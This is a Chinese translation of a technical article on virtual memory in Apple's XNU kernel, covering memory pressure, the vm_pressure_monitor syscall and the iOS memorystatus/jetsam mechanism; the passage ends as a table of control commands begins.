虚拟内存中的术语“虚拟”意味着存储器空间虽然与所讨论的进程有很大关系，但并不完全对应于系统里的实际内存。 这表现在几个方面：

• 虚拟内存空间可以超过可用的实际内存量 - 取决于所讨论的处理器字大小和操作系统，虚拟内存空间可高达4GB（32位）或256TB（64位）[1]。这，尤其在后一种情况下，可以远远超出现有的可用内存量。
• 实际上，虚拟内存并不存在：给出如此巨大的超过物理内存支持能力的内存空间，只有当应用程序明确请求内存（即分配），系统才会为支持的虚拟内存映射物理内存。因此，一个进程的虚拟内存的影像是非常稀疏的，在内存中就像在一片浩瀚的虚空海洋中的“孤岛”。
• 即使分配了，虚拟内存可能仍然是虚拟的： - 当你调用malloc(3) 时，并不意味着系统会跳转并找到相应数量的RAM来实质地分配你的内存。大多数情况下，程序员的分配远远超过他们所需要的。因此，malloc(3) 操作，只分配页表入口（entries），很少分配内存本身。实际上，当访问内存时（比如说 memset(3)），才会导致物理分配。
• 系统可以备份内存到磁盘或网络上 - 也称为“交换”内存到后台存储。 OS X 一般使用交换文件（在/var/vm中）。iOS没有交换机制。
• 您使用的虚拟内存可能共享或不共享 - 操作系统保留使用与其他进程隐式共享你的虚拟内存的权限。这适用于使用文件备份的内存（即通过调用 mmap(2) 声明的内存）。如果你的进程和另一个进程 mmap(2) 相同的文件，操作系统可以给你们每个进程一份你的私有虚拟副本，但实际上是同一个物理副本。上述物理副本将被标记为不可写。只要每个进程都只是从内存中读取，那么一份就足够了。然而，如果任何人向这样的隐式共享内存写入，写入过程将触发页面错误，这将导致内核执行一个 Copy-On-Write 机制（COW），从而产生一个可以修改内容的新物理副本。

把上面总结一下，我们可以得到以下“公式”：

  VSS = RSS + LSS + SwSS  
各项含义：   
VSS　　虚拟大小，由top，ps(1) 和其他的命令可以看到   
RSS　　驻留大小 - 进程的实际RAM占用空间。 也可以在 top(1)，ps(1) 等中显示   
LSS 　　“Lazy” 大小 - 系统同意分配但尚未分配的内存   
SwSS　　“交换”大小 - 以前在RAM中但被推出交换的内存。在 iOS 中，一直为0　　　　

以上所有的东西可以通过一个简单的例子清楚地展示 - 在任一进程中使用 vmmap(1)，这里以 shell 本身为例：

术语
在本文中，使用以下术语：

• Page - 内存管理的基本单元。在 Intel 和 ARM 中，通常为4k（4096），在 ARM64 中通常为16K。您可以使用 OS X 上的 pagesize(1) 命令（或任何一个操作系统上的 sysctl hw.pagesize）来确定默认页面大小是多少。英特尔架构支持超级页面（8k）和巨大页面（2MB），但在实践中，这些页面相对较少。
• Phsyical Memory/RAM - 安装在主机（Mac 或 i-Device）上的有限数量的内存。你可以使用 hostinfo(1) 命令获取这个值。
• Virtual Memory - 由程序或系统本身分配的内存，通常是通过调用 malloc(3)，mmap(2) 或更高级别的调用（例如Objective-C 的 [alloc]等）分配。虚拟内存可能是私有的（由单个进程所有）或共享的（由2+进程所有）。共享内存可以是明确地或隐式地共享。
• Page Fault - 当内存管理单元（MMU）检测到违规访问虚拟内存时，即发生以下情况之一：
  • 访问未分配的内存：取值一个之前未被分配的内存指针 - XNU将其转换为一个 EXC_BAD_ACCESS 异常，并且进程将接收到分段错误（SIGSEGV，Signal#11）。
  • 访问已分配但未提交的内存：取值一个先前已分配但尚未使用的内存指针（或相应的madvise(2)） - XNU拦截，并意识到它不能再等待，必须分配物理页。当分配页面时，将冻结导致故障的线程。
  • 访问内存但不符合其权限：内存页面以与标准 UNIX 文件权限相似的方式受 r/w/x 保护。尝试写入只读目标（r–或rx）将导致页面错误，XNU 将其转换为总线故障（SIGBUS，Signal#7）或强制执行 Copy-On-Write（COW）操作（如果是隐式共享的）。

工具
苹果提供了几个重要的工具来检查虚拟内存：

• vmmap(1) - 检查单个进程的虚拟内存，以类似于Linux 以 /proc//maps 的方式布局其 “map”。
• vm_stat(1) - 从系统范围的角度提供有关虚拟内存的统计信息。 这实际上只是一个调用 Mach host_statistics64 API 的封装器，打印出 vm_statistics64_t（来自<mach/vm_statistics.h>）。
• top(1) - 提供与性能有关的全系统以及每个进程的统计信息。 在其中，MemRegions，PhysMem 和 VM 统计信息涉及虚拟内存。
  我厚脸皮地在这里推广一下自己的工具，process explorer （procexp），它提供了（IMHO）比 top(1) 更好的功能（包括更丰富的内存统计）。

Memory Pressure

Mach 层内部有两个计数器定义内存压力：

• vm_page_free_count：目前有多少页 RAM 是空闲的
• vm_page_free_target：至少有多少页 RAM 应该被释放。
  你可以使用 sysctl 轻松查看这些：

如果空闲页面的数量低于目标数量 - 也就是有内存压力的情况（当然还有其他潜在的情况，但为了简化起见我省略了这些 [2]）。你也可以使用 sysctl(8) 来查询 vm.memory_pressure 的值。在 OS X 10.9 及更高版本中，你也可以查询 kern.memorystatus_vm_pressure_level，其值为 1（NORMAL），2（WARN）或 4（CRITICAL）

在内核初始化之后，主线程变为 vm_pageout，并产生一个专用的线程，并被贴切地叫做 vm_pressure_thread，用来监测压力事件。这个线程是空转的（阻塞自己）。当检测到压力时，线程将被 vm_pageout 唤醒。这种行为已在 XNU 2422/3（OSX 10.9/iOS 7）中修改（最显著的是转移到了 vm_pressure_response 中封装）。

只有当 VM_PRESSURE_EVENTS 是 #define 的时候，压力处理才会被编译到 XNU 中。如果不是（比如，自定义编译），vm_pressure_thread 在2050 版本中什么都不做，甚至在 2422/3 中也不会开始。此外，在iOS内核中，定义 CONFIG_JETSAM 会更频繁地将内存处理调度到 memorystatus 线程以及更新其计数器（稍后会讲）来更改某些行为。

[mach]_vm_pressure_monitor

XNU 导出未记录的系统调用#296，vm_pressure_monitor（bsd/vm/vm_unix.c），它是 mach_vm_pressure_monitor（osfmk/vm/vm_pageout.c）以上的一个封装器。系统调用（以及相应的内部 Mach 调用）定义如下：

int vm_pressure_monitor（int wait_for_pressure，int nsecs_monitored，uint32_t * pages_reclaimed）;

这个调用将立即返回或者阻塞（当 wait_for_pressure 不为零时）。它将返回 page_reclaimed 在 nsecs_monitored 的计数中释放了多少个物理页面（并不是真的循环迭代那么多的 nsecs）。其返回值表示需要提供多少页面（上面的sysctl(8) 输出中的 vm.page_free_wanted）。调用系统调用很简单，而且不需要 root 权限。 （再次重复，您也可以使用sysctl(8) 来查询 vm.memory_pressure，尽管这个操作不会等待内存压力）。

您可以使用 “vmmon” 参数运行 process explorer 来尝试这个系统调用（否则，process explorer 将在交互模式下在单独的线程中执行此操作，以显示压力警告）。指定 “oneshot” 的附加参数将会在不等待压力的情况下直接调用。否则，调用将等待，直到检测到压力：

但是系统实际上是如何收回内存的？对于此，需要涉及到 memorystatus。

MemoryStatus and Jetsam

当 XNU 移植到 iOS 时，苹果遇到了移动设备限制引起的重大挑战 - 没有交换空间。与桌面相比，虚拟内存可以“溢出”到外部存储器，在这里并不适用（主要是由于闪存的限制）。因此，内存已经成为一个更重要（更稀缺）的资源。

引入：MemoryStatus。最初在 iOS 中引入的这种机制是一个内核线程，负责处理低 RAM 事件，以 iOS 认为可能的唯一方式：丢弃（弹出）尽可能多的RAM，为应用程序释放内存 - 即使当这种方式意味着杀死应用程序。这就是 iOS 的 jetsam 机制，可以在 XNU 源代码中看到 #if CONFIG_JETSAM 编译选项。在 OS X 中，memorystatus 代表的不是 kill，而是那些标记为空闲退出的进程，这是一种更温和的方式，更适合于桌面环境[3]。 使用 dmesg，以及 grep 可以看到 memorystatus 的操作：

memorystatus 线程是一个单独的线程（也就是不直接与 vm_pressure_thread 相关），它在XNU的 BSD 部分启动（通过在 bsd/kern/bsd_init.c 中调用 memorystatus_init）。如果定义了 CONFIG_JETSAM（iOS），memorystatus 会启动另一个线程 memorystatus_jetsam_thread，它大部分时间在阻塞循环中运行，当memorystatus_available_pages <= memorystatus_available_pages_critical 时被唤醒，杀死处于 memory list 中最上方的进程，然后再次阻塞。

在 iOS 中，memorystatus/jetsam 不会打印消息，但肯定会在 /Library/Logs/CrashReporter/LowMemory-YYYY-MM-DD-hhmmss.plist 中留下其杀死程序的痕迹 - 这些日志由 CrashReporter 生成，类似于包含了 dump 的崩溃日志。如果你有越狱设备，一个简单的方法可以强制 jetsam 大规模执行，运行一个小的二进制文件，不停的分配和 memset() 大小为8MB 的内存块（这个留给感兴趣的读者练习），然后运行它。你将会看到应用程序死亡，直到这个犯规的二进制文件（最终）被杀死。日志将看起来像这样：

（请注意，您可以在非越狱设备上执行此操作，如果您已将其配置为开发用，您可以在 Objective-C 中创建一个简单的 iOS 应用程序，并执行相同的分配，然后通过 XCode 的 Organizer 收集日志） 。

应该注意的是，Jetsam 无情地彻底杀死一个进程，并非罕见：Linux（以及它的继承者，Android）在 “OOM”（out-of-memory）killer 中有一个类似的机制，它持有了每个进程的（可能是可调整的）分数，当遇到内存不足时，杀死高分数进程。在桌面 Linux 中，OOM 在系统交换空间耗尽时唤醒；在 Android 中，要更早一点，当 RAM 运行内存较低时就被唤醒。Android 的方法是得分驱动（该分数实际上是一种启发式方法，取决于使用了多少 RAM，以及怎样的频率），而 iOS 的方法是基于优先级的。

从 XNU 2423 开始，Jetsam 使用了一种 “priority bands”（参见 <sys/kern_memorystatus.h> JETSAM_PRIORITY 常量），也就是说 jetsam 跟踪的进程被维护在内核空间（memstat_bucket）的21个链表的数组中。Jetsam 将选择最低优先级元（以0或 JETSAM_PRIORITY_IDLE 开头）的第一个进程，如果当前优先级为空（参考 memorystatus_get_first_proc_locked，在bsd/kern/kern_memorystatus.c 中），则顺移至下一个优先级列表。进程的默认优先级为18，允许 jetsam 选择空闲和后台进程，这些进程的顺序排在交互式和可能重要的进程之前。如下图所示：

Jetsam 还有另一种操作方式，它设置进程内存的 “high water mark”，并且将彻底杀死超过其 HWM 的进程。 当一个任务的 RSS 内存超过系统范围限制时，Jetsam 中的 HWM 模式就会被触发（更准确地说，是任务的 phys_footprint 内存，其中包括 RSS，也包括 compressed 和 I/O Kit 相关的内存）。 HWM 可以通过 memorystatus_control 操作 #5（MEMORYSTATUS_CMD_SET_JETSAM_HIGH_WATER_MARK，稍后讨论）来设置 。

在 iOS 上，Launchd 可以设置 jetsam 的优先级。 之前这个操作是在每个守护进程的基础文件（也就是在它的 plist 文件）中完成的。 现在看来，这些设置已被移至 com.apple.jetsamproperties.model.plist（例如 N51(5s)，J71(iPad Air)等）。 如下：

<dict>
        <key>CachedDefaults</key>
    <!-- Array of dict entries, with key being daemon name e.g. -->
        <dict>

                <key>com.apple.usb.networking.addNetworkInterface</key> 
                <dict>
                        <key>JetsamMemoryLimit</key>
                        <integer>integer>6</integer>
                        <key>JetsamPriority</key> 
                        <integer>integer>3</integer>
                        <key>WellBehaved</key> 
                        <true/>
                </dict>
..

由于 RAM 消耗而彻底杀死一个进程可能看起来过于苛刻，但对于缺乏交换机制的系统来说，实际上能做的非常少。在 Jetsam 杀死一个进程之前，memorystatus 允许进程“挽回自身”，避免不合适的终止，可以通过获取 memorystatus 线程首先向作为终止的“候选”进程发送一个 kernel note（又称 kevent） 。这个 knote（NOTE_VM_PRESSURE，<sys/event.h>）将被 EVFILT_VM kevent() 过滤器拾取，就像 UIKit 把它转换为 didReceieveMemoryWarning 通知一样，这无疑是 iOS App 开发人员所熟悉的（也被其讨厌）。Darwin 的 libC 和 GCD 也加入了内存压力处理程序，具体如下：

• Darwin 的 LibC（<malloc/malloc.h>）定义了一个 malloc_zone_pressure_relief（从 OSX 10.7/iOS 4.3 开始）
• LibCache（<cache.h>）定义了缓存成本（对于 cache_set_and_retain），允许发生压力事件时自动清除缓存。
• GCD（<dispatch/source.h>）定义了 DISPATCH_SOURCE_TYPE_MEMORYPRESSURE（从OSX 10.9 起）

一般来说，注册了内存压力的应用程序（直接通过 Darwin API 或间接通过 UIKit）应该减少其缓存和潜在的不需要的内存（应该注意的是，遍历内存结构可能导致页面错误，会加剧内存压力）。 UIKit 是不开源的，但是当 UIApplication 遇到内存警告时，jtool 提供了一个很好的反汇编来演示它的行为：

然而有时候，释放内存可能不足以缓解内存压力。 大多数情况下，释放的内存可能很快被另一个不愿意释放它的应用程序占用。 在这些情况下，最后的手段是杀死潜在候选人列表中最上方的进程 - 所以 Jetsam 出现了。

Controlling memorystatus

一个线程可以随意地决定杀死进程可能有点危险。因此，苹果使用几种API来“统治”Jetsam/memorystatus。当然，这些都是私有的和无文档记录的（如果在应用程序中使用它们，苹果可能会 kill 你的开发人员帐户），它们是：

• 使用 sysctl kern.memorystatus_jetsam_change：可以从用户空间更改 Jetsam 的优先级列表。这有点像 Linux 的 oom_adj，它允许进程通过指定负调整数（有效地降低它们的分数）来逃避 OOM 的惩罚。同样，在 iOS 中，launchd（启动所有应用程序的进程）可以设置 Jetsam 优先级列表。 （例如，参考 com.apple.voiced.plist，它指定 JetSamMemoryLimit(8000) 和 JetsamPriority(-49) ），sysctl 内部调用memorystatus_list_change（在 bsd/kern/kern_memorystatus.c 中），它会再次设置优先级和状态标志（active，foreground 等）。 - 跟 Linux 类似，在这种情况下，Android的处理机制是 “Low Memory Killer”（在运行时可以根据应用程序/活动的前台状态来调整 OOM_ADJ，因此更喜欢首先杀死后台应用程序）。这种方法可以运行到 iOS 6.x。
• 使用 memorystatus_control(#440) 系统调用：在 xnu 2107 某处（即早在 iOS 6 而不是直到 OS X 10.9）中介绍，这个（无文档记录的）系统调用能够通过使用几个“命令”之一，来控制 memorystatus 和 jetsam（后者在 iOS 上），如下表所示：